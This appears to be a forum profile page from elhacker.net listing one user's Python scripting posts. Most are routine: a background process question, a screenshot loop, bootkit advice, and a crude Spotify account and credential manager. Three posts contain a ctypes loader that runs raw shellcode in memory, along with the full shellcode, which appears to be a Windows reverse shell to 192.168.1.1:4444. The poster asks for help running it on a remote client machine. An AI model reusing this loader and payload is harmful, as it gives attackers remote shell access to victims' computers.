elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8 9 10
21  Programación / Scripting / Re: Ejecutar un proceso en segundo plano en python en: 31 Marzo 2018, 21:11 pm
Script1 --> Ejecuta script 2 en segundo plano
Script1 --> Se cierra
Script2 --> En ejecución
22  Seguridad Informática / Bugs y Exploits / Re: Cómo eliminar un bootkit en: 31 Marzo 2018, 16:56 pm
Si es un portatil lo tienes crudo porque es posible que el malware se haya instalado en la bios, si es un ordenador de sobremesa resetea la bios y limpia el disco duro.
23  Programación / Scripting / Re: ¿AYUDA A PRINCIPIANTE? Script de conversión numérica en: 31 Marzo 2018, 16:31 pm
Yo he probado con un decimal y me ha funcionado.

13.421 = 0b1101
24  Programación / Scripting / Re: Script en: 31 Marzo 2018, 12:55 pm
Hola!. Aqui tienes un ejemplo de manejo de base de datos con python. La base de datos es personalizada osea no es sqlite ni nada de eso. Necesitaras crear un fichero en la misma carpeta del script que se llame spotify.db y ya funcionaria el script. Claro este script sirve para lo que sirve que es para almacenar cuentas de spotify y tal.

Script
Código
  1. # -*- coding: utf-8 -*-
  2.  
  3. import sys, os
  4. from tabulate import tabulate
  5. from random import SystemRandom
  6. from base64 import b64encode as encode
  7. from base64 import b64decode as decode
  8.  
  9. def deca():
  10.  
  11.    global fathers
  12.    global pfathers
  13.    global user
  14.    global passwd
  15.    global name
  16.  
  17.    fathers = []
  18.    pfathers = []
  19.    user = []
  20.    passwd = []
  21.    name = []
  22.  
  23. def clearf():
  24.    for father in fathers:
  25.        fathers.remove(father)
  26.    for pfather in pfathers:
  27.        pfathers.remove(pfather)
  28.    for usr in user:
  29.        user.remove(usr)
  30.    for passw in passwd:
  31.        passwd.remove(passw)
  32.    for na in name:
  33.        name.remove(na)
  34.  
  35.  
  36. class more:
  37.    INFO = "[#] "
  38.    CORRECT = "[*] "
  39.    ERROR = "[!ERROR] "
  40.  
  41. SPOTIFY = ('''
  42.   _____             __  _ ____    
  43.  / ___/____  ____  / /_(_) __/_  __
  44.  \__ \/ __ \/ __ \/ __/ / /_/ / / /
  45. ___/ / /_/ / /_/ / /_/ / __/ /_/ /
  46. /____/ .___/\____/\__/_/_/  \__, /  
  47.    /_/                    /____/  
  48. ''')
  49.  
  50. def clear():
  51.    syst = sys.platform
  52.    if str(syst) == 'win32':
  53.        os.system('cls')
  54.    else:
  55.        os.system('clear')
  56.  
  57. def deconfuse(data):
  58.    data = str(data).replace('β', '=').replace('≡', '?').replace('∑', "W").replace("∂", "c").replace("◊", "H").replace("€", "T").replace("•", "5")
  59.    return data
  60.  
  61. def confuse(data):
  62.    data = str(data).replace('=', 'β').replace('?', '≡').replace('W', "∑").replace("c", "∂").replace("H", "◊").replace("T", "€").replace("5", "•")
  63.    return data
  64.  
  65. def decryptdb(db):
  66.    reader = open(db, "r")
  67.    data = reader.read()
  68.    if str(data).find("DaRpa") == -1:
  69.        print more.ERROR + "The db is not encrypted"
  70.        main()
  71.    data = str(data).replace("DaRpa", "").rstrip(" ")
  72.    data = deconfuse(data)
  73.    data = decode(data)
  74.    reader.close()
  75.    writer = open(db, "w")
  76.    writer.write(data)
  77.    writer.close()
  78.  
  79. def encryptdb(db):
  80.    reader = open(db, "r")
  81.    data = encode(reader.read())
  82.    data = "DaRpa" + confuse(data)
  83.    reader.close()
  84.    writer = open(db, "w")
  85.    writer.write(data)
  86.    writer.close()
  87.  
  88. def edit_account(db, email, password, nombre, nemail, npassword, nnombre, father, pfather, nfather, npfather):
  89.    reader = open(db, "r")
  90.    data = reader.read()
  91.    data = str(data).replace(email+":"+password+":"+nombre+":"+father+":"+pfather, nemail+":"+npassword+":"+nnombre+":"+nfather+":"+npfather)
  92.    reader.close()
  93.    writer = open(db, "w")
  94.    writer.write(data)
  95.    writer.close()
  96.  
  97. def delete_account(db, email, password, nombre, father, pfather):
  98.    reader = open(db, "r")
  99.    data = reader.read()
  100.    data = str(data).replace("{0}:{1}:{2}:{3}:{4}", "").rstrip("\n").format(email,password, nombre, father, pfather)
  101.    reader.close()
  102.    writer = open(db, "w")
  103.    writer.write(data)
  104.    writer.close()
  105.  
  106. def add_account(db, email, password, nombre, father, pfather):
  107.    reader = open(db, "r")
  108.    data = reader.read()
  109.    data = str(data)+"\n{0}:{1}:{2}:{3}:{4}\n".rstrip("\n").format(email, password, nombre, father, pfather)
  110.    reader.close()
  111.    writer = open(db, "w")
  112.    writer.write(data)
  113.    writer.close()
  114.  
  115. def random(long, opt):
  116.    if opt == "Mm1":
  117.        abc = "a0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
  118.    elif opt == "Mm":
  119.        abc = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
  120.    elif opt == "m":
  121.        abc = "abcdefghijklmnopqrstuvwxyz"
  122.  
  123.    gen = SystemRandom()
  124.    rand = ""
  125.    while long > 0:
  126.        rand = rand + gen.choice(abc)
  127.        long -= 1
  128.    return rand
  129.  
  130. def generate():
  131.    print more.INFO + "Generating an account..."
  132.    mail = random(7, "m")
  133.    password = random(5, "Mm1")
  134.    print "YopMail: "+mail+"@yopmail.com"
  135.    print "PassWord: "+password
  136.    print "Name: Not Set"
  137.    print "Father: Not Set"
  138.    print "PassWord: Not Set"
  139.    print ""
  140.    raw_input("Press enter to continue")
  141.    add_account("spotify.db", mail+"@yopmail.com", password, "unset", "unset", "unset")
  142.    print more.CORRECT + "Account Created"
  143.    main()
  144.  
  145. def opendb(db):
  146.    clearf()
  147.    file = open(db, "r")
  148.    data = file.readlines()
  149.    for lines in data:
  150.        if not lines == "":
  151.            info = str(lines).split(":")
  152.            user.append(info[0])
  153.            passwd.append(info[1])
  154.            name.append(info[2])
  155.            fathers.append(info[3])
  156.            pfathers.append(info[4])
  157.    file.close()
  158.  
  159. def statusdb(db):
  160.    file = open(db, "r")
  161.    data = file.read()
  162.    if not str(data).find("DaRpa") == -1:
  163.        print "DB Status: Encrypted!"
  164.    else:
  165.        print "DB Status: Decrypted!"
  166.  
  167. def make_table():
  168.    if len(user) > 1:
  169.  
  170.        datau = ""
  171.        datap = ""
  172.        datae = ""
  173.        dataf = ""
  174.        datapf = ""
  175.  
  176.        for usr in user:
  177.            datau += "\n" + usr + "\n".rstrip("\n")
  178.        for passw in passwd:
  179.            datap += "\n" + passw + "\n".rstrip("\n")
  180.        for na in name:
  181.            datae += "\n" + na + "\n".rstrip("\n")
  182.        for father in fathers:
  183.            dataf += "\n" + father + "\n".rstrip("\n")
  184.        for passw in pfathers:
  185.            datapf += passw + "\n".rstrip("\n")
  186.  
  187.        table = [['Email', 'Password', 'Father', 'Password', 'Name'],
  188.                  [datau, datap, dataf, datapf, datae]]
  189.        print(tabulate(table, headers='firstrow'))
  190.        print ""
  191.        raw_input("Press enter to continue")
  192.        clearf()
  193.        del datau
  194.        del datap
  195.        del datae
  196.        del dataf
  197.        del datapf
  198.        main()
  199.    else:
  200.        main()
  201.  
  202. def main():
  203.    print ""
  204.    statusdb("spotify.db")
  205.    print "Spotify Manager By Sentex"
  206.    print "--Select Option--------------------"
  207.    print " 1._ Open DB"
  208.    print " 2._ Delete account"
  209.    print " 3._ Add account"
  210.    print " 4._ Edit account"
  211.    print " 5._ Encrypt DB"
  212.    print " 6._ Decrypt DB"
  213.    print " 7._ Show DB"
  214.    print " 8._ Generate"
  215.    print " 9._ Exit"
  216.    opt = raw_input(">")
  217.    if opt == "":
  218.        print more.ERROR + "Wrong command"
  219.        main()
  220.    if int(opt) == 1:
  221.        print more.INFO + "Loading DB..."
  222.        opendb("spotify.db")
  223.        print more.CORRECT + "DB Loaded!"
  224.        main()
  225.    elif int(opt) == 2:
  226.        print "Email"
  227.        email = raw_input(">")
  228.        print "Password"
  229.        password = raw_input(">")
  230.        print "Name"
  231.        nombre = raw_input(">")
  232.        print "Father"
  233.        father = raw_input(">")
  234.        print "Password"
  235.        pfather = raw_input(">")
  236.        print more.INFO + "Removing Account..."
  237.        delete_account("spotify.db", email,password, nombre, father, pfather)
  238.        print more.CORRECT + "Account Deleted!"
  239.        main()
  240.    elif int(opt) == 3:
  241.        print "Email"
  242.        email = raw_input(">")
  243.        print "Password"
  244.        password = raw_input(">")
  245.        print "Name"
  246.        nombre = raw_input(">")
  247.        print "Father"
  248.        father = raw_input(">")
  249.        print "Password"
  250.        pfather = raw_input(">")
  251.        print more.INFO + "Creating new account..."
  252.        add_account("spotify.db", email, password, nombre, father, pfather)
  253.        print more.CORRECT + "Account Created!"
  254.        main()
  255.    elif int(opt) == 4:
  256.        print "Email"
  257.        email = raw_input(">")
  258.        print "Password"
  259.        password = raw_input(">")
  260.        print "Name"
  261.        nombre = raw_input(">")
  262.        print "Father"
  263.        father = raw_input(">")
  264.        print "Password"
  265.        pfather = raw_input(">")
  266.        print "New Email"
  267.        nemail = raw_input(">")
  268.        print "New Password"
  269.        npassword = raw_input(">")
  270.        print "New Name"
  271.        nnombre = raw_input(">")
  272.        print "New Father"
  273.        nfather = raw_input(">")
  274.        print "New Password"
  275.        npfather = raw_input(">")
  276.        print more.INFO + "Editing Account"
  277.        if nemail == "":
  278.            nemail = str(email)
  279.        elif npassword == "":
  280.            npassword = str(password)
  281.        elif nnombre == "":
  282.            nnombre = str(nombre)
  283.        if nfather == "":
  284.            nfather = str(father)
  285.        if npfather == "":
  286.            npfather = str(pfather)
  287.        edit_account("spotify.db", email, password, nombre, nemail, npassword, nnombre, father, pfather, nfather, npfather)
  288.        print more.CORRECT + "Account Edited"
  289.        main()
  290.    elif int(opt) == 5:
  291.        print more.INFO + "Encrypting DB..."
  292.        encryptdb("spotify.db")
  293.        print more.CORRECT + "DB Encrypted!"
  294.        main()
  295.    elif int(opt) == 6:
  296.        print more.INFO + "Decrypting DB..."
  297.        decryptdb("spotify.db")
  298.        print more.CORRECT + "DB Decrypted!"
  299.        main()
  300.    elif int(opt) == 7:
  301.        make_table()
  302.    elif int(opt) == 8:
  303.        generate()
  304.    elif int(opt) == 9:
  305.        print more.INFO + "Encrypting the db"
  306.        f = open("spotify.db", "r")
  307.        data = f.read()
  308.        if str(data).find("DaRpa") == -1:
  309.            encryptdb("spotify.db")
  310.        print more.CORRECT + "Encrypted!"
  311.        print "Bye!"
  312.        sys.exit()
  313.    else:
  314.        print more.ERROR + "Wrong command"
  315.        main()
  316.  
  317. deca()
  318. clear()
  319. print SPOTIFY
  320. main()
  321.  

Si sacas fragmentos del código te puede ayudar.
25  Programación / Scripting / Ejecutar un proceso en segundo plano en python en: 31 Marzo 2018, 12:46 pm
Buenas, me gustaría ejecutar otro script diferente al original y luego poder cerrar el script original y dejando en segundo plano el script diferente.

Gracias!

PD: Es en linux
26  Programación / Scripting / Re: [PYTHON] Leer una shellcode y ejecutarla en: 21 Marzo 2018, 19:44 pm
Cual codigo podría funcionar ahora?
27  Programación / Scripting / Re: [PYTHON] Leer una shellcode y ejecutarla en: 21 Marzo 2018, 13:33 pm
No es un error de permisos, ya lo solucione pero sigue sin funcionar  >:( .

Source Code:
Código
  1. from ctypes import *
  2.  
  3. shellcode = ""
  4.  
  5. with open("shellcode.txt", "r") as sc:
  6.    shellcode1 = sc.readlines()
  7.    for x in shellcode1:
  8.        shellcode += x.encode()
  9.  
  10.  
  11.  
  12. shellcode = (shellcode.encode())  
  13.  
  14. memory_ref = create_string_buffer(shellcode, len(shellcode))
  15. shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
  16. shellcode()
  17.  

Shellcode.txt:
Código
  1. \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30
  2. \x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff
  3. \xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52
  4. \x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1
  5. \x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b
  6. \x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03
  7. \x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b
  8. \x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24
  9. \x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb
  10. \x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c
  11. \x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68
  12. \x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02
  13. \x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea
  14. \x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61
  15. \xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00
  16. \x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83
  17. \xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a
  18. \x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57
  19. \x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00
  20. \x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68
  21. \x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff
  22. \xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00
  23. \x53\xff\xd5
  24.  

La shellcode no se ejecuta y no suelta ningún error.
28  Programación / Scripting / Re: [PYTHON] Leer una shellcode y ejecutarla en: 20 Marzo 2018, 19:46 pm
Me sale el siguiente error: WindowsError: exception: access violation writing 0x00000000
29  Programación / Scripting / [PYTHON] Leer una shellcode y ejecutarla en: 20 Marzo 2018, 19:05 pm
Hola buenas.

Intento ejecutar una shellcode en un ordenador remoto (cliente) pero la shellcode esta en otro ordenador (el servidor). La ejecución de una shellcode en python seria el codigo siguiente:

Código
  1. from ctypes import *
  2.  
  3. shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  4. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  5. "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  6. "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  7. "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  8. "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  9. "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  10. "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  11. "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  12. "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
  13. "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
  14. "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02"
  15. "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
  16. "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
  17. "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
  18. "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
  19. "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
  20. "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
  21. "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
  22. "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
  23. "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
  24. "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
  25. "\x53\xff\xd5")  
  26.  
  27. memory_ref = create_string_buffer(shellcode, len(shellcode))
  28. shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
  29. shellcode()
  30.  

Y lo que quiero es leer en un .txt por ejemplo esa misma shellcode y luego ejecutarlo en el ordenador remoto. All tenerlo en un .txt se convierte en un string con lo cual no funciona. Necesito ayuda. gracias!
30  Programación / Scripting / Re: Duda en python screenshot con diferentes imágenes en: 12 Marzo 2018, 20:09 pm
Código
  1. import pyautogui
  2. import time
  3. #Screenshot using pyautogui
  4. def screenshot(numero):
  5.    screenshot = pyautogui.screenshot()
  6.    nombre="screenshot-{}.png".format(numero)
  7.    screenshot.save(nombre)
  8. #End of function screenshot
  9. activity = 1
  10. numero=1
  11. while activity == 1:
  12.    time.sleep(10)
  13.    screenshot(numero)
  14.    time.sleep(10)
  15.    numero+=1
  16. #End of screenshot.py
  17.  

La linea 6 cambia el nombre de la screenshot añadiendo el numero por el que el que esta definido. Yo te recomendaria usar otro modulo que es el que usa pyautogui que es PIL o Pillow para instalarlo con pip
Páginas: 1 2 [3] 4 5 6 7 8 9 10
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines